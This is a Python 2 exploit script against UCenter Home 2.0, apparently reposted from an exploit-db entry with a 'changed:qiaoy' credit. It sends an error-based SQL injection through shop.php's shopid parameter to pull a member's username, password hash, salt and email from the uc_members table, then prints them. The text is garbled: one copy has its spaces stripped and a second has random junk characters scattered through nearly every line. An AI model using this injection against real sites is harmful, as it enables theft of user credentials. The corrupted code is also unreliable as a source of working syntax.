#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl/ y }/ @2 `3 n7 j* K* K5 ^
, M& F, f- y* Y8 Q6 `, T1 \ x& S8 q' M- F1 [: _
#!/usr/bin/env python
# v# C6 k" x G8 k * x$ V1 a% W0 l" J- o* W D
import sys
9 h7 c8 L9 G! s$ N% \9 |8 ?- \+ mimport urllib2 ) `2 ]% Z( q* Z- [/ M. p2 R6 v
import re ' ?3 b- {& O+ q. e( Y8 X2 t
' X4 a% H, |) @4 d# ^" G" O
def info(): + Y$ b8 ~, a1 p! l' M
print 'From:http://www.exploit-db.com/exploits/14997/'
5 j, {/ X9 e& B+ l3 n print 'http://www.hake.cc/Web_loudong/' ; S) Q. Y A2 S) l
print 'changed:qiaoy'
& C9 D2 T# P K2 h& q& c print 'exp:'
0 K8 ?6 H, z# M0 Z4 f$ T ` print ' ./UCenter_Home_2.0.py site'
/ c: |! L. b( z9 A3 i# k$ T# H 8 Y' A8 {9 |. v' d2 [
def main(): 8 N5 {0 d* j: T& s! S& B! u
if len(sys.argv) != 2: _9 P# q# w' G; J: T
info() . p) J" Z, U7 u2 v) Y4 G
else: & R) Q, j2 P6 C" x
site = sys.argv[1]
/ Q" b2 S- K8 t- M* r9 R7 \: V7 \ if site[0:7] == 'http://':
$ R5 g- H& H, }9 x# A sitesite =site ) Q1 N4 z! A J; G
elif site[0:8] == 'https://': 8 a! ?$ F3 t+ [0 x% S
sitesite = site ; Z( U9 H. {; t6 X) U! C! l
else:
. b2 ~7 [- [7 V4 q. s site = 'http://'+site ) p9 `: G: \% p d
try:
2 J+ G9 Z2 }% x4 I' N- L url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
$ y' h; \0 a9 d& v Value = urllib2.urlopen(url).read()
7 n3 k0 b7 B% a$ t$ z1 B Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
+ E$ E# p3 f% g hacked = Msg.split(':') / U" h v7 g4 }, U" _* M# h
print 'Name: '+hacked[1] 5 A4 m9 c1 j1 Y8 t
print 'Passwd: '+hacked[2]
5 s# @6 G& d* [* E print 'salt: '+hacked[3] 7 t3 {2 N4 E6 w
print 'email: '+hacked[4] " r! g8 [, C: T8 X/ R
except:
! U2 q5 y3 \2 Z, ^; o7 a5 } print 'Sorry,I can\'t work............' 1 a5 x2 ~' O. V) @ O, j+ m- ^
0 H. \+ `9 U5 D0 [if __name__ == '__main__':
+ h, ~) i, K* T- V( M! y P) H main() |